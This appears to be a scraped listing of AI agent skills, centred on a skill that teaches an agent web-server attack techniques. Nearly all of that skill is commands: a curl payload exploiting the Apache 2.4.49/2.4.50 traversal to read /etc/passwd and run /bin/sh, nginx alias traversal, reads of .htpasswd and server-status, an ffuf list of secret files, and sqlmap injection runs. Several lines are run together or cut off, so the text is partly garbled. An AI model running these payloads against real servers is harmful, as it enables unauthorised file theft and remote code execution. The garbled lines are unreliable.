agent-security-hardening
AFaffaan-m/ECC314k3,503 new stars in the last 7 days
Web SERVER software (not app-layer) attack techniques — server misconfigs, known server CVEs, path traversal, exposed status/config. Use when you fingerprint the web server itself (for app-layer bugs use the web-<class> skills). Triggers - Server header, Apache 2.4.49/2.4.50, nginx alias traversal, IIS, Tomcat, /server-status, .htaccess.
curl 'http://<t>/cgi-bin/.%2e/%2e%2e/etc/passwd'curl 'http://<t>/cgi-bin/.%%32%65/.%%32%65/bin/sh' -d 'echo;id'curl -sI -X OPTIONS http://<t>/ — leaks memory# Server-status exposure
curl http://<t>/server-status
curl http://<t>/server-info
# .htaccess / .htpasswd readable
curl http://<t>/.htaccess
curl http://<t>/.htpasswd
# Directory listing
curl http://<t>/icons/
# Alias traversal (missing trailing slash)
curl http://<t>/static../etc/passwd
# stub_status exposure
curl http://<t>/nginx_status
curl http://<t>/status
# Off-by-slash
# If: location /folder { alias /var/www/; }
# Then: /folder../etc/passwd works
# Short filename disclosure
curl http://<t>/~1/
# WebDAV methods
curl -X OPTIONS http://<t>/ -sI | grep -i allow
# Technology detection
whatweb http://<t> -a 3
curl -sI http://<t> # single header dump is fine
Backup-file and sensitive-path checks: do these with ffuf/gobuster, NOT a curl
bash-loop. Put the candidate paths in a file and fuzz once:
# sensitive/backup paths in one run, then parse
cat > paths.txt <<'EOF'
.git/HEAD
.env
.DS_Store
web.config
wp-config.php.bak
robots.txt
sitemap.xml
index.php.bak
index.php.old
index.php.orig
index.php~
EOF
ffuf -w paths.txt -u http://<t>/FUZZ -mc 200,301,302,401,403 -maxtime 100 -o ffuf.json -of json
# then (separate command): gobuster_parse on the results
A for ext in bak old ...; do curl ...; done loop is the WRONG pattern — use the ffuf
run above. If ffuf/gobuster is missing, install it (apt install -y ffuf gobuster)
rather than looping curl.
Needing a session cookie/header is NOT a reason to hand-run curl — every tool carries auth:
-H "Cookie: ..." / -b, gobuster --cookies, nuclei -H, sqlmap --cookie=, feroxbuster -H.curl -b is only for a one-off PoC, never "curl for all requests".sqlmap_parse.Next-Action / text/x-component):
ONE recon curl to confirm the param reacts is allowed, then move detection to a saved request:
sqlmap -r request.txt -p <param> --batch → sqlmap_parse. No manual ' OR 1=1 sweeps.-maxtime N (below the shell timeout) so ffuf -o json flushes on a clean exit before it's killed.gobuster_parse as SEPARATE commands.-s (see progress). If throttled, LOWER -t and add -p 0.1.curl only for one-off requests.-q -n --no-error or -mc match codes to suppress noise, then gobuster_parse.gobuster_parse and nuclei_parse for auto-processing.AFaffaan-m/ECC314k3,503 new stars in the last 7 days
Audit the whole repo: find bugs, security holes and performance bottlenecks. Get a ranked report in plain English.
DIDietrichGebert/ponytail202k4,226 new stars in the last 7 days
GAgarrytan/gstack143k524 new stars in the last 7 days
Harden code against the OWASP Top 10: input handling, authentication, sessions and dependencies.
ADaddyosmani/agent-skills122k1,421 new stars in the last 7 days
ADaddyosmani/agent-skills122k1,421 new stars in the last 7 days
RUruvnet/RuView106k596 new stars in the last 7 days